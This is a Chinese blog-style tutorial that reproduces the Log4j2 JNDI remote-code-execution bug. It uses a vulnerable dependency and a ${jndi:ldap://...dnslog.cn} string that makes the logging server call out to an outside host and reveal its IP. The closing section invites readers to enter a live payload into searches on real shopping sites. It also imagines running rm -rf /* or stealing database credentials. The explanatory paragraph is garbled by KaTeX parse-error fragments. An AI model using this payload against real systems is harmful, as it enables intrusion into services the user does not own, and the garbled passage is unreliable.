网站安全

让你也体验一把当黑客的感觉:复现了log4j2的漏洞

本文主要是介绍让你也体验一把当黑客的感觉:复现了log4j2的漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

大家好,我叫大圣。

这几天Apache Log4j2 远程代码执行漏洞一出,让广大的程序员和运维人员夜不能寐,由于我们公司的Flink业务代码也用到了Log4j2日志,我也抓紧去了解了一下,然后采取了相应的补救措施。但是一直想对这个Log4j2 远程执行漏洞进行复现一下,是不是真的像网上说的那样严重,然后经过学习复现了这个log4j的bug。

本篇文章主要讲怎么复现这个log4j的远程执行bug,关于怎么基于这个log4j的漏洞去采取补救措施,网上说了很多了,这里就不再说了,下面我们直接步入正题。

首先咱们建立一个maven项目,然后在pom文件里面导入下面的依赖:

	<dependency>
       <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.4.1</version>
    </dependency>

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.4.1</version>
    </dependency>

接着再创建一个类对象,比如TestLog4j,然后加载日志类,如下:

public static final Logger LOGGER =   LogManager.getLogger();

最后在TestLog4j这个类里面的main方法里面打印下面的语句:

  LOGGER.error( "${jndi:ldap://xxx}");

下面重点说打印的这个语句是什么意思:

LOGGER.error就是打印error的信息

${jndi:ldap://xxx} 这个的分为两个部分,一个部分是jndi:ldap:// 这个是固定的,xxx的内容是要你动态替换的,下面说怎么去动态替换。

你首先把 http://dnslog.cn/ 这个网址复制到浏览器上给打开,如下图:
file

接着,你在上面打开的界面里面,点击图中的按钮,在你点击的按钮下面就会得到一个网址(这里叫子域名)如下:
file

注:每个人点击上面的Get SubDomain按钮得到的子域名可能是不一样的,这个无关紧要。

再接着把你得到的子域名复制下来,然后到你刚才新建类的代码里面,我这边是TestLog4j,把这段代码里面的LOGGER.error( “${jndi:ldap://xxx}”); xxx 换成你在上面的Get SubDomain按钮得到的子域名,我这边得到的子域名是zrfnlf.dnslog.cn 如下图:
file

然后,你run你写的这个main()方法,就会得到如下截图:
file

接着,回到你刚才点击有Get SubDomain按钮的网页上,也就是你刚才打开的 http://dnslog.cn/这个界面,如下图:
file

最后点击你上面打开的那个上的Refresh Record按钮,就会得到你下面的截图:会拿到你的ip
file

最后说一下这个利用 Log4j2 远程代码攻击的原理,就比如我们在淘宝里面输入KaTeX parse error: Expected 'EOF', got '进' at position 18: …ndi:ldap://xxx}进̲行搜索,然后{jndi:ldap://xxx}就会被当成一个字符串,当我们利用LOGGER.error()打印日志的时候,就会把你传进来的KaTeX parse error: Expected 'EOF', got '字' at position 18: …ndi:ldap://xxx}字̲符串打印,这不是就相当于我们刚…{jndi:ldap://zrfnlf.dnslog.cn}");方法了吗?然后我们上面测试的通过打印这个就可以在http://dnslog.cn/拿到我们的服务器的ip

注:上面的${jndi:ldap://xxx} 这个字符串里面的xxx,可以看成是我们在http://dnslog.cn/这个网址得到的子域名

在这里我们想一下,如果我们在淘宝或者京东购买商品时搜索时输入的是这个

${jndi:ldap://zrfnlf.dnslog.cn},如果不仅仅是得到服务器的ip这么简单,而是直接执行一个我们自己编写的脚本,脚本里面有 rm -rf /* 或者去拿到数据库的账号,密码这样的操作,那你真的有可能成为亿万富翁,然后下半辈子在监狱里度过哦!

另外大家可以去各大网站上搜索或者买商品的时候输入:

${jndi:ldap://qy2b82.dnslog.cn} 这个试一下什么效果哦,友情提示:你可能会被封。

这篇关于让你也体验一把当黑客的感觉:复现了log4j2的漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!